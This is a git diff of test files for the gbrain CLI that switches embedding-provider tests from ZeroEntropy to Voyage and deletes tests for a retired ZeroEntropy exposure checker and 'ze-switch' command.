- test('CDX2-5+6: buildGatewayConfig maps zeroentropy_api_key into env dict', async () => {
+// Lane C.3 — Voyage key plumbing
+describe('v0.37 Lane C.3 — Voyage key reaches buildGatewayConfig', () => {
+ test('CDX2-5+6: buildGatewayConfig maps voyage_api_key into env dict', async () => {
// process.env wins over config (intentional — operator escape hatch).
// Unset the env key so the test exercises the config-only path.
- const savedZe = process.env.ZEROENTROPY_API_KEY;
+ const savedVoyage = process.env.VOYAGE_API_KEY;
const savedOai = process.env.OPENAI_API_KEY;
const savedAnth = process.env.ANTHROPIC_API_KEY;
const savedOr = process.env.OPENROUTER_API_KEY;
- delete process.env.ZEROENTROPY_API_KEY;
+ delete process.env.VOYAGE_API_KEY;
delete process.env.OPENAI_API_KEY;
delete process.env.ANTHROPIC_API_KEY;
delete process.env.OPENROUTER_API_KEY;
@@ -212,19 +212,19 @@ describe('v0.37 Lane C.3 — ZE key reaches buildGatewayConfig', () => {
const { buildGatewayConfig } = await import('../src/cli.ts');
const cfg = {
engine: 'pglite' as const,
- zeroentropy_api_key: 'test-ze-key',
+ voyage_api_key: 'test-voyage-key',
openai_api_key: 'test-oai',
anthropic_api_key: 'test-anth',
openrouter_api_key: 'test-or',
};
const gwCfg = buildGatewayConfig(cfg as any);
- expect(gwCfg.env?.ZEROENTROPY_API_KEY).toBe('test-ze-key');
+ expect(gwCfg.env?.VOYAGE_API_KEY).toBe('test-voyage-key');
// Regression on the existing two keys.
expect(gwCfg.env?.OPENAI_API_KEY).toBe('test-oai');
expect(gwCfg.env?.ANTHROPIC_API_KEY).toBe('test-anth');
expect(gwCfg.env?.OPENROUTER_API_KEY).toBe('test-or');
} finally {
- if (savedZe !== undefined) process.env.ZEROENTROPY_API_KEY = savedZe;
+ if (savedVoyage !== undefined) process.env.VOYAGE_API_KEY = savedVoyage;
if (savedOai !== undefined) process.env.OPENAI_API_KEY = savedOai;
if (savedAnth !== undefined) process.env.ANTHROPIC_API_KEY = savedAnth;
if (savedOr !== undefined) process.env.OPENROUTER_API_KEY = savedOr;
@@ -232,20 +232,20 @@ describe('v0.37 Lane C.3 — ZE key reaches buildGatewayConfig', () => {
});
test('CDX2-5+6: process.env wins over config (operator escape hatch contract)', async () => {
- const saved = process.env.ZEROENTROPY_API_KEY;
- process.env.ZEROENTROPY_API_KEY = 'env-wins-key';
+ const saved = process.env.VOYAGE_API_KEY;
+ process.env.VOYAGE_API_KEY = 'env-wins-key';
try {
const { buildGatewayConfig } = await import('../src/cli.ts');
- const cfg = { engine: 'pglite' as const, zeroentropy_api_key: 'file-key' };
+ const cfg = { engine: 'pglite' as const, voyage_api_key: 'file-key' };
const gwCfg = buildGatewayConfig(cfg as any);
- expect(gwCfg.env?.ZEROENTROPY_API_KEY).toBe('env-wins-key');
+ expect(gwCfg.env?.VOYAGE_API_KEY).toBe('env-wins-key');
} finally {
- if (saved === undefined) delete process.env.ZEROENTROPY_API_KEY;
- else process.env.ZEROENTROPY_API_KEY = saved;
+ if (saved === undefined) delete process.env.VOYAGE_API_KEY;
+ else process.env.VOYAGE_API_KEY = saved;
}
});
- test('GBrainConfig type includes zeroentropy_api_key field (TS compile guard)', async () => {
+ test('GBrainConfig type includes voyage_api_key field (TS compile guard)', async () => {
const { type } = await import('../src/core/config.ts').then(m => ({ type: undefined }));
// The type-level assertion happens at compile time. If this file
// compiles, the field exists. Body of the test is a runtime no-op.
@@ -306,14 +306,14 @@ describe('v0.37 deferred TODO shipped — gbrain reinit-pglite', () => {
const { embeddingMismatchMessage } = await import('../src/core/embedding-dim-check.ts');
const msg = embeddingMismatchMessage({
currentDims: 1536,
- requestedDims: 1280,
- requestedModel: 'zeroentropyai:zembed-1',
+ requestedDims: 1024,
+ requestedModel: 'voyage:voyage-4',
source: 'doctor',
engineKind: 'pglite',
databasePath: '/tmp/test.pglite',
});
// The one-command path appears before the by-hand recipe.
- expect(msg).toContain('gbrain reinit-pglite --embedding-model zeroentropyai:zembed-1 --embedding-dimensions 1280');
+ expect(msg).toContain('gbrain reinit-pglite --embedding-model voyage:voyage-4 --embedding-dimensions 1024');
// The by-hand path is still present as fallback.
expect(msg).toContain('mv /tmp/test.pglite /tmp/test.pglite.bak');
// The recommended-section header precedes the by-hand section.
diff --git a/test/v0_37_gap_fill.serial.test.ts b/test/v0_37_gap_fill.serial.test.ts
index 7f5c279a1b..4e70d1fb78 100644
--- a/test/v0_37_gap_fill.serial.test.ts
+++ b/test/v0_37_gap_fill.serial.test.ts
@@ -8,14 +8,14 @@
* - Schema seed stores provider:model (Lane A.8 — was prefix-stripped)
* - Chunk-row INSERT default writes gateway model (Lane A.7)
* - Init precedence chain (Lane B.1 + B.4 + CDX2-7)
- * - ZE setup hint fires at init when key missing (Lane B.1)
+ * - Voyage setup hint fires at init when key missing (Lane B.1)
* - Init merges existing config across re-init (Lane B.4)
* - config set refuses schema-sizing fields with the recipe (Lane C.2)
- * - ZEROENTROPY_API_KEY env merge into GBrainConfig (Lane C.3)
+ * - VOYAGE_API_KEY env merge into GBrainConfig (Lane C.3)
* - Embed pre-flight catches dim mismatch end-to-end (Lane D.2)
* - Sync hint fires at both catch sites (Lane D.3, CDX2-8)
* - reinit-pglite end-to-end behavior (deferred-TODO sugar)
- * - loadRecommendationContext reads gateway + ZE keys (Lane E.4)
+ * - loadRecommendationContext reads gateway + Voyage keys (Lane E.4)
*
* Hermetic — no DATABASE_URL, no real API keys, no real network. Uses
* PGLite in-memory + transport stubs.
@@ -75,11 +75,11 @@ describe('Lane A.7 — chunk-row INSERT default tracks the gateway-resolved mode
// Lane A.8 — Schema seed stores provider:model (was prefix-stripped)
// ─────────────────────────────────────────────────────────────────────
describe('Lane A.8 — schema seed stores full provider:model in DB config', () => {
- test('fresh init with ZE model stores `zeroentropyai:zembed-1`, not `zembed-1`', async () => {
+ test('fresh init with Voyage model stores `voyage:voyage-4`, not `voyage-4`', async () => {
// Independent engine + gateway so the assertion is unambiguous.
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
env: { ...process.env },
});
const engine = new PGLiteEngine();
@@ -87,9 +87,9 @@ describe('Lane A.8 — schema seed stores full provider:model in DB config', ()
try {
await engine.initSchema();
const stored = await engine.getConfig('embedding_model');
- expect(stored).toBe('zeroentropyai:zembed-1');
- // CDX-4 regression: would have been 'zembed-1' under the strip.
- expect(stored).not.toBe('zembed-1');
+ expect(stored).toBe('voyage:voyage-4');
+ // CDX-4 regression: would have been 'voyage-4' under the strip.
+ expect(stored).not.toBe('voyage-4');
} finally {
await engine.disconnect();
configureGateway({
@@ -173,9 +173,9 @@ describe('Lane B — init precedence chain (CLI > env > existing file > default)
});
// ─────────────────────────────────────────────────────────────────────
-// Lane C.3 — ZEROENTROPY_API_KEY env merge into GBrainConfig
+// Lane C.3 — OPENAI_API_KEY env merge into GBrainConfig
// ─────────────────────────────────────────────────────────────────────
-describe('Lane C.3 — env ZEROENTROPY_API_KEY merges into loadConfig', () => {
+describe('Lane C.3 — env OPENAI_API_KEY merges into loadConfig', () => {
let tmpHome: string;
let origHome: string | undefined;
@@ -198,19 +198,19 @@ describe('Lane C.3 — env ZEROENTROPY_API_KEY merges into loadConfig', () => {
else process.env.GBRAIN_HOME = origHome;
});
- test('process.env.ZEROENTROPY_API_KEY → cfg.zeroentropy_api_key', async () => {
- await withEnv({ ZEROENTROPY_API_KEY: 'ze-from-env-key' }, async () => {
+ test('process.env.OPENAI_API_KEY → cfg.openai_api_key', async () => {
+ await withEnv({ OPENAI_API_KEY: 'openai-from-env-key' }, async () => {
const { loadConfig } = await import('../src/core/config.ts');
const cfg = loadConfig();
- expect(cfg?.zeroentropy_api_key).toBe('ze-from-env-key');
+ expect(cfg?.openai_api_key).toBe('openai-from-env-key');
});
});
- test('loadConfigFileOnly does NOT merge the env ZE key', async () => {
- await withEnv({ ZEROENTROPY_API_KEY: 'ze-from-env-key' }, async () => {
+ test('loadConfigFileOnly does NOT merge the env OpenAI key', async () => {
+ await withEnv({ OPENAI_API_KEY: 'openai-from-env-key' }, async () => {
const { loadConfigFileOnly } = await import('../src/core/config.ts');
const cfg = loadConfigFileOnly();
- expect(cfg?.zeroentropy_api_key).toBeUndefined();
+ expect(cfg?.openai_api_key).toBeUndefined();
});
});
});
@@ -249,13 +249,13 @@ describe('Lane D.2 — embed pre-flight catches dim mismatch before worker pool'
});
});
- test('schema=1536 + gateway=ZE/1280 → runEmbedCore throws EmbeddingDimMismatchError before transport fires', async () => {
- // Reconfigure to mismatched dim. Schema (1536) and gateway (1280)
+ test('schema=1536 + gateway=Voyage/1024 → runEmbedCore throws EmbeddingDimMismatchError before transport fires', async () => {
+ // Reconfigure to mismatched dim. Schema (1536) and gateway (1024)
// now disagree; pre-flight should throw before the worker pool
// calls embedMany.
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
env: { ...process.env },
});
@@ -275,7 +275,7 @@ describe('Lane D.2 — embed pre-flight catches dim mismatch before worker pool'
expect(caught).toBeInstanceOf(EmbeddingDimMismatchError);
const err = caught as InstanceType<typeof EmbeddingDimMismatchError>;
expect(err.recipeMessage).toContain('vector(1536)');
- expect(err.recipeMessage).toContain('vector(1280)');
+ expect(err.recipeMessage).toContain('vector(1024)');
// The transport must never have fired — pre-flight's whole point is
// to kill the N-parallel-API-call-fail-pattern.
expect(transportCalled).toBe(false);
@@ -290,8 +290,8 @@ describe('Lane D.2 — embed pre-flight catches dim mismatch before worker pool'
test('dryRun skips the pre-flight (no embed risk to gate)', async () => {
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
env: { ...process.env },
});
const { runEmbedCore } = await import('../src/commands/embed.ts');
@@ -339,7 +339,7 @@ describe('Lane E.4 — loadRecommendationContext is provider-aware', () => {
// provider for the key. v0.40.x replaced the inline prefix ladder with the
// shared recipe-aware helper `embeddingProviderConfigured` (so doctor +
// autopilot can't drift) — assert that shape rather than the old inline
- // ZE strings.
+ // Voyage strings.
const fnIdx = src.indexOf('async function loadRecommendationContext');
expect(fnIdx).toBeGreaterThan(0);
const slice = src.slice(fnIdx, fnIdx + 3000);
@@ -410,8 +410,8 @@ describe('reinit-pglite — backup + reinit', () => {
(process as any).exit = ((code?: number) => { exits.push(code ?? 0); throw new Error('exit:' + (code ?? 0)); });
try {
await runReinitPglite([
- '--embedding-model', 'zeroentropyai:zembed-1',
- '--embedding-dimensions', '1280',
+ '--embedding-model', 'voyage:voyage-4',
+ '--embedding-dimensions', '1024',
'--yes', '--json',
]);
} catch (e) {
@@ -520,15 +520,15 @@ describe('reinit-pglite — backup + reinit', () => {
writeFileSync(join(tmpHome, '.gbrain', 'brain.pglite.bak'), 'sentinel');
const { exits, logs, errs } = await captureRun([
- '--embedding-model', 'zeroentropyai:zembed-1',
- '--embedding-dimensions', '1280',
+ '--embedding-model', 'voyage:voyage-4',
+ '--embedding-dimensions', '1024',
'--yes',
]);
expect(exits).toContain(1); // bak_exists sentinel
const out = logs.join('\n');
- expect(out).toContain('New embedding model: zeroentropyai:zembed-1');
- expect(out).toMatch(/New dimensions:\s+1280/);
+ expect(out).toContain('New embedding model: voyage:voyage-4');
+ expect(out).toMatch(/New dimensions:\s+1024/);
expect(out).not.toContain('openai:text-embedding-3-large');
// No defaulting note when both values came from flags.
expect(errs.join('\n')).not.toContain('defaulted from config');
diff --git a/test/ze-exposure.test.ts b/test/ze-exposure.test.ts
deleted file mode 100644
index d4486fc47e..0000000000
--- a/test/ze-exposure.test.ts
+++ /dev/null
@@ -1,270 +0,0 @@
-/**
- * v0.46.3 — detectZeExposure truth table + engine-parity smoke.
- *
- * Exposure is EFFECTIVE-MODEL RESOLUTION (env → file → legacy fallback), not
- * vector evidence: a configless brain is deterministically ZE-exposed; 1280d
- * vectors alone prove nothing (OpenAI text-3 supports 1280). Probe failures
- * downgrade to 'unknown', never to 'clear'. The truth table runs against stub
- * engines (fast, no DB); the parity smoke runs the real SQL against a fresh
- * PGLite brain so the pages.embedding_signature / content_chunks probes are
- * pinned to a real schema.
- */
-
-import { describe, test, expect } from 'bun:test';
-import { mkdtempSync } from 'fs';
-import { tmpdir } from 'os';
-import { join } from 'path';
-import type { BrainEngine } from '../src/core/engine.ts';
-import type { GBrainConfig } from '../src/core/config.ts';
-import { detectZeExposure, renderZeActionRequired } from '../src/core/ze-exposure.ts';
-
-/** Stub engine: healthy brain with no rows. getConfig(null) → search-mode
- * resolution falls through to the balanced bundle, whose reranker is the
- * LIVE voyage default since v0.48.2 — NOT an exposure. Use
- * zeRerankerEngine() for the explicit-ZE reranker case. */
-function stubEngine(overrides?: Partial<Pick<BrainEngine, 'getConfig' | 'executeRaw'>>): BrainEngine {
- return {
- getConfig: overrides?.getConfig ?? (async () => null),
- executeRaw: overrides?.executeRaw ?? (async () => [{ n: 0 }] as any),
- } as unknown as BrainEngine;
-}
-
-/** A brain whose reranker is already off ZE (explicit voyage override). */
-function voyageRerankerEngine(): BrainEngine {
- return stubEngine({
- getConfig: async (key: string) =>
- key === 'search.reranker.model' ? 'voyage:rerank-2.5' : null,
- });
-}
-
-/** A brain whose reranker is EXPLICITLY pinned to the sunsetting ZE model. */
-function zeRerankerEngine(): BrainEngine {
- return stubEngine({
- getConfig: async (key: string) =>
- key === 'search.reranker.model' ? 'zeroentropyai:zerank-2' : null,
- });
-}
-
-const CLEAN_ENV = {} as NodeJS.ProcessEnv;
-
-describe('detectZeExposure — embedding axis (resolution, not evidence)', () => {
- test('configless brain (no file config at all) → bareDefaultZe, exposed', async () => {
- const e = await detectZeExposure(voyageRerankerEngine(), null, CLEAN_ENV);
- expect(e.zeEmbedding).toBe(true);
- expect(e.bareDefaultZe).toBe(true);
- expect(e.zeExplicit).toBe(false);
- expect(e.status).toBe('exposed');
- });
-
- test('file config with no embedding_model → bareDefaultZe, exposed', async () => {
- const cfg = { engine: 'pglite' } as GBrainConfig;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.bareDefaultZe).toBe(true);
- expect(e.status).toBe('exposed');
- });
-
- test('explicit ZE file config → zeExplicit, exposed', async () => {
- const cfg = { embedding_model: 'zeroentropyai:zembed-1' } as GBrainConfig;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.zeExplicit).toBe(true);
- expect(e.bareDefaultZe).toBe(false);
- expect(e.status).toBe('exposed');
- });
-
- test('voyage-configured brain with voyage reranker → clear', async () => {
- const cfg = {
- embedding_model: 'voyage:voyage-4',
- embedding_dimensions: 1024,
- } as GBrainConfig;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.zeEmbedding).toBe(false);
- expect(e.zeReranker).toBe(false);
- expect(e.status).toBe('clear');
- });
-
- test('embedding_disabled (keyless) suppresses the embedding axis', async () => {
- const cfg = { embedding_disabled: true } as GBrainConfig;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.zeEmbedding).toBe(false);
- expect(e.bareDefaultZe).toBe(false);
- });
-
- test('env override naming ZE wins over a clean file config → envOverride, exposed', async () => {
- const cfg = { embedding_model: 'openai:text-embedding-3-small' } as GBrainConfig;
- const env = { GBRAIN_EMBEDDING_MODEL: 'zeroentropyai:zembed-1' } as NodeJS.ProcessEnv;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, env);
- expect(e.envOverride).toBe(true);
- expect(e.zeEmbedding).toBe(true);
- expect(e.zeExplicit).toBe(false);
- expect(e.status).toBe('exposed');
- });
-
- test('env override naming a SAFE provider clears a ZE file config', async () => {
- const cfg = { embedding_model: 'zeroentropyai:zembed-1' } as GBrainConfig;
- const env = { GBRAIN_EMBEDDING_MODEL: 'voyage:voyage-4' } as NodeJS.ProcessEnv;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, env);
- expect(e.zeEmbedding).toBe(false);
- expect(e.zeExplicit).toBe(false);
- });
-});
-
-describe('detectZeExposure — reranker + custom-column axes', () => {
- test('implicit bundle reranker (nothing configured) is the live voyage default → NOT an exposure (v0.48.2)', async () => {
- const cfg = { embedding_model: 'voyage:voyage-4' } as GBrainConfig;
- const e = await detectZeExposure(stubEngine(), cfg, CLEAN_ENV);
- expect(e.zeReranker).toBe(false);
- expect(e.status).toBe('clear');
- });
-
- test('explicit ZE reranker row (search.reranker.model) counts as exposure', async () => {
- const cfg = { embedding_model: 'voyage:voyage-4' } as GBrainConfig;
- const e = await detectZeExposure(zeRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.zeReranker).toBe(true);
- expect(e.status).toBe('exposed');
- });
-
- test('ZE-backed custom column is flagged by name', async () => {
- const cfg = {
- embedding_model: 'voyage:voyage-4',
- embedding_columns: {
- embedding_ze_bench: { provider: 'zeroentropyai:zembed-1', dimensions: 1280, type: 'vector' },
- embedding_openai: { provider: 'openai:text-embedding-3-small', dimensions: 1536, type: 'vector' },
- },
- } as unknown as GBrainConfig;
- const e = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(e.zeCustomColumns).toEqual(['embedding_ze_bench']);
- expect(e.status).toBe('exposed');
- });
-
- test('hasVoyageKey reads BOTH env and file plane', async () => {
- const cfg = { voyage_api_key: 'pa-file' } as GBrainConfig;
- const viaFile = await detectZeExposure(voyageRerankerEngine(), cfg, CLEAN_ENV);
- expect(viaFile.hasVoyageKey).toBe(true);
- const viaEnv = await detectZeExposure(voyageRerankerEngine(), null, {
- VOYAGE_API_KEY: 'pa-env',
- } as NodeJS.ProcessEnv);
- expect(viaEnv.hasVoyageKey).toBe(true);
- });
-});
-
-describe('detectZeExposure — tri-state (unknown never silently clears)', () => {
- test('probe failure on an otherwise-clear brain → unknown, not clear', async () => {
- // Search-mode resolution fails OPEN internally (a broken config read
- // falls through to the bundle → ZE → exposed, which is itself fail-safe).
- // The truly-unknown shape: reranker override readable and safe, but the
- // custom-column registry probe fails.
- const partiallyBroken = stubEngine({
- getConfig: async (key: string) => {
- if (key === 'search.reranker.model') return 'voyage:rerank-2.5';
- if (key === 'embedding_columns') throw new Error('relation "config" corrupt');
- return null;
- },
- });
- const cfg = { embedding_model: 'voyage:voyage-4' } as GBrainConfig;
- const e = await detectZeExposure(partiallyBroken, cfg, CLEAN_ENV);
- expect(e.status).toBe('unknown');
- expect(e.unknownProbes).toContain('embedding_columns_db');
- });
-
- test('fully-broken engine on a clear-config brain fails SAFE (exposed via bundle), never clear', async () => {
- const broken = stubEngine({
- getConfig: async () => {
- throw new Error('boom');
- },
- executeRaw: async () => {
- throw new Error('boom');
- },
- });
- const cfg = { embedding_model: 'voyage:voyage-4' } as GBrainConfig;
- const e = await detectZeExposure(broken, cfg, CLEAN_ENV);
- // Mode resolution falls open to the balanced bundle (legacy ZE reranker)
- // → exposed. The invariant under ANY probe failure: status !== 'clear'.
- expect(e.status).not.toBe('clear');
- });
-
- test('probe failure on an exposed brain stays exposed (exposure is config-derived)', async () => {
- const broken = stubEngine({
- getConfig: async () => {
- throw new Error('boom');
- },
- executeRaw: async () => {
- throw new Error('boom');
- },
- });
- const e = await detectZeExposure(broken, null, CLEAN_ENV);
- expect(e.status).toBe('exposed'); // configless → ZE fallback, deterministic
- });
-});
-
-describe('detectZeExposure — blast radius (capped, informational)', () => {
- test('caps counts at 100k and marks them capped', async () => {
- const big = stubEngine({
- getConfig: async (key: string) =>
- key === 'search.reranker.model' ? 'voyage:rerank-2.5' : null,
- executeRaw: async () => [{ n: 100_001 }] as any,
- });
- const e = await detectZeExposure(big, null, CLEAN_ENV);
- expect(e.blastRadius.embeddedChunks).toBe(100_000);
- expect(e.blastRadius.embeddedChunksCapped).toBe(true);
- expect(renderZeActionRequired(e)).toContain('100,000+');
- });
-
- test('cost estimate uses the recommended target price', async () => {
- const some = stubEngine({
- getConfig: async (key: string) =>
- key === 'search.reranker.model' ? 'voyage:rerank-2.5' : null,
- executeRaw: async () => [{ n: 1000 }] as any,
- });
- const e = await detectZeExposure(some, null, CLEAN_ENV);
- // 1000 chunks × ~400 tokens × $0.06/M (voyage-4) = $0.024
- expect(e.blastRadius.estReembedUsd).toBeCloseTo(0.024, 3);
- });
-});
-
-describe('renderZeActionRequired — notice copy', () => {
- test('names the axis, the date, and the paste-ready commands', async () => {
- // Configless embedding (bare ZE default) + an explicit ZE reranker row:
- // both axes exposed so every command line renders.
- const e = await detectZeExposure(zeRerankerEngine(), null, CLEAN_ENV);
- const text = renderZeActionRequired(e);
- expect(text).toContain('2026-09-04');
- expect(text).toContain('migrate embeddings --to voyage:voyage-4 --dim 1024');
- // Width-honest copy: the OpenAI alternative names the width slot generically
- // (the doctor prints the brain's exact width-aware command) — a static 1280
- // here would be wrong for 640d/2560d ZE brains.
- expect(text).toContain('openai:text-embedding-3-small --dim <width>');
- expect(text).toContain('gbrain doctor');
- expect(text).toContain('search.reranker.model voyage:rerank-2.5');
- expect(text).toContain('skills/migrations/v0.46.3.0.md');
- expect(text).toContain('Nothing has been changed automatically');
- });
-
- test('env-override notice says the env var itself must change', async () => {
- const e = await detectZeExposure(voyageRerankerEngine(), null, {
- GBRAIN_EMBEDDING_MODEL: 'zeroentropyai:zembed-1',
- } as NodeJS.ProcessEnv);
- expect(renderZeActionRequired(e)).toContain('GBRAIN_EMBEDDING_MODEL');
- });
-});
-
-describe('detectZeExposure — PGLite engine parity smoke', () => {
- test('the blast-radius SQL runs against a real fresh brain (no unknown probes)', async () => {
- const dir = mkdtempSync(join(tmpdir(), 'ze-exposure-'));
- const { createEngine } = await import('../src/core/engine-factory.ts');
- const engine = await createEngine({ engine: 'pglite' });
- await engine.connect({ engine: 'pglite', database_path: join(dir, 'brain') });
- try {
- await engine.initSchema();
- const e = await detectZeExposure(engine, null, CLEAN_ENV);
- // Configless → exposed via the legacy fallback; every probe must have
- // RUN cleanly on the real schema (pages.embedding_signature exists,
- // content_chunks counts work).
- expect(e.status).toBe('exposed');
- expect(e.unknownProbes).toEqual([]);
- expect(e.blastRadius.zeSignedPages).toBe(0);
- expect(e.blastRadius.embeddedChunks).toBe(0);
- } finally {
- await engine.disconnect();
- }
- }, 120_000);
-});
diff --git a/test/ze-switch-cli.test.ts b/test/ze-switch-cli.test.ts
deleted file mode 100644
index 8ea07a43d0..0000000000
--- a/test/ze-switch-cli.test.ts
+++ /dev/null
@@ -1,398 +0,0 @@
-/**
- * `gbrain ze-switch` — refusal/redirect shim contract.
- *
- * ZeroEntropy's hosted API shuts down 2026-09-04. The command is a pure shim:
- * every invocation refuses or redirects, nothing mutates the brain. Pins:
- * - --help exits 0 with truthful copy: the canonical migration command, the
- * sunset date, and NO forward-switch encouragement
- * - every non-help invocation exits 1 (bare, --dry-run, --resume,
- * --non-interactive, --force, flag combos)
- * - --json refusal envelope: {status: 'refused', reason: 'provider_sunset',
- * migrate: <canonical dry-run command>}
- * - --undo with a stored snapshot REDIRECTS: prints the exact migrate
- * command that returns the brain to its pre-switch provider, exit 1,
- * {status: 'redirected', undo_command} in --json — it does NOT act (the
- * retired undo action wrote DB-plane config the file-plane-canonical
- * runtime never read)
- * - --undo without a snapshot (or with a corrupt one) refuses
- * - retired flags are still parsed: they reach the refusal message, not a
- * pre-dispatch unknown-flag error (registry row keeps them)
- *
- * Engine lifecycle: one PGLite engine, state reset per test; process.exit is
- * intercepted via a stub.
- */
-
-import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
-import { mkdtempSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { join } from 'node:path';
-import { PGLiteEngine } from '../src/core/pglite-engine.ts';
-import { resetPgliteState } from './helpers/reset-pglite.ts';
-import { runZeSwitch, RETIRED_FLAGS, buildUndoCommands } from '../src/commands/ze-switch.ts';
-import { CLI_FLAG_REGISTRY } from '../src/core/cli-flag-registry.generated.ts';
-import { KEY_APPLIED, KEY_REQUESTED, KEY_PREVIOUS_SNAPSHOT } from '../src/core/retrieval-upgrade-planner.ts';
-
-const REPO = new URL('..', import.meta.url).pathname;
-
-let engine: PGLiteEngine;
-
-beforeAll(async () => {
- engine = new PGLiteEngine();
- await engine.connect({});
- await engine.initSchema();
-});
-
-afterAll(async () => {
- await engine.disconnect();
-});
-
-beforeEach(async () => {
- await resetPgliteState(engine);
-});
-
-// Helpers: capture stdout/stderr/exitCode without actually exiting.
-function captureExit<T>(fn: () => Promise<T>): Promise<{ exitCode: number; stdout: string; stderr: string }> {
- return new Promise(async (resolve) => {
- const origExit = process.exit;
- const origStdoutWrite = process.stdout.write.bind(process.stdout);
- const origStderrWrite = process.stderr.write.bind(process.stderr);
- const origConsoleLog = console.log;
- const origConsoleError = console.error;
- let stdout = '';
- let stderr = '';
- let exitCode = 0;
- process.exit = ((code?: number) => {
- exitCode = code ?? 0;
- throw new Error('__captured_exit__');
- }) as any;
- process.stdout.write = ((chunk: any) => {
- stdout += typeof chunk === 'string' ? chunk : chunk.toString();
- return true;
- }) as any;
- process.stderr.write = ((chunk: any) => {
- stderr += typeof chunk === 'string' ? chunk : chunk.toString();
- return true;
- }) as any;
- console.log = (...args: any[]) => { stdout += args.join(' ') + '\n'; };
- console.error = (...args: any[]) => { stderr += args.join(' ') + '\n'; };
- try {
- await fn();
- } catch (e: any) {
- if (e?.message !== '__captured_exit__') {
- stderr += `Unexpected: ${e?.message ?? String(e)}\n`;
- exitCode = exitCode || 1;
- }
- } finally {
- process.exit = origExit;
- process.stdout.write = origStdoutWrite;
- process.stderr.write = origStderrWrite;
- console.log = origConsoleLog;
- console.error = origConsoleError;
- resolve({ exitCode, stdout, stderr });
- }
- });
-}
-
-async function setLegacyConfig() {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- await engine.setConfig('embedding_dimensions', '1536');
-}
-
-/** Seed the snapshot a pre-v0.46.3 forward switch would have left behind. */
-async function seedAppliedSwitch(overrides: Record<string, unknown> = {}) {
- await engine.setConfig(
- KEY_PREVIOUS_SNAPSHOT,
- JSON.stringify({
- embedding_model: 'openai:text-embedding-3-large',
- embedding_dimensions: 1536,
- search_reranker_enabled: false,
- search_reranker_model: null,
- ...overrides,
- }),
- );
- await engine.setConfig(KEY_REQUESTED, 'true');
- await engine.setConfig(KEY_APPLIED, 'true');
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
- await engine.setConfig('embedding_dimensions', '1280');
-}
-
-describe('--help (truthful, engine-free)', () => {
- test('exits 0 with the canonical migration command and the sunset date', async () => {
- // engine=null mirrors the dispatcher's SELF_HELP_WITHOUT_ENGINE path:
- // help must never touch the engine.
- const r = await captureExit(() => runZeSwitch(['--help'], null));
- expect(r.exitCode).toBe(0);
- expect(r.stdout).toContain('gbrain ze-switch');
- expect(r.stdout).toContain('RETIRED');
- expect(r.stdout).toContain('2026-09-04');
- expect(r.stdout).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- expect(r.stdout).toContain('skills/migrations/v0.46.3.0.md');
- // The hostile-QA negative: the old encouraging sentence must never return.
- expect(r.stdout).not.toContain('Switch the brain\'s embedding + reranker defaults to ZeroEntropy');
- });
-});
-
-describe('every non-help invocation refuses (exit 1, nothing changes)', () => {
- const refusedInvocations: string[][] = [
- [],
- ['--dry-run'],
- ['--resume'],
- ['--non-interactive'],
- ['--force'],
- ['--yes'],
- ['--non-interactive', '--ignore-missing-key'],
- ['--ignore-env-override'],
- // The old gate's bypass combos (dry-run/undo used to pass): now refused
- // or redirected, never silently ignored.
- ['--dry-run', '--resume'],
- ['--confirm-reembed'],
- ];
-
- for (const args of refusedInvocations) {
- test(`ze-switch ${args.join(' ') || '(bare)'} refuses`, async () => {
- await setLegacyConfig();
- const r = await captureExit(() => runZeSwitch(args, engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('2026-09-04');
- expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- // Nothing was applied or mutated:
- expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
- expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
- });
- }
-
- test('--json refusal envelope carries reason provider_sunset + the migrate command', async () => {
- await setLegacyConfig();
- const r = await captureExit(() => runZeSwitch(['--dry-run', '--json'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- expect(env.reason).toBe('provider_sunset');
- expect(env.migrate).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- // The retired dry-run plan envelope is gone for good:
- expect(env.status).not.toBe('planned');
- expect(env.plan).toBeUndefined();
- });
-});
-
-describe('--undo (redirect: prints the return-path command, never acts)', () => {
- test('with a snapshot: prints the exact migrate command, exit 1, config untouched', async () => {
- await seedAppliedSwitch();
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain(
- 'gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536 --reranker off --dry-run',
- );
- // Guidance only — the brain still points at ZE until the user runs it:
- expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
- expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
- });
-
- test('with a snapshot carrying a reranker model: folds --reranker <model> in', async () => {
- await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: 'voyage:rerank-2.5' });
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('--reranker voyage:rerank-2.5');
- });
-
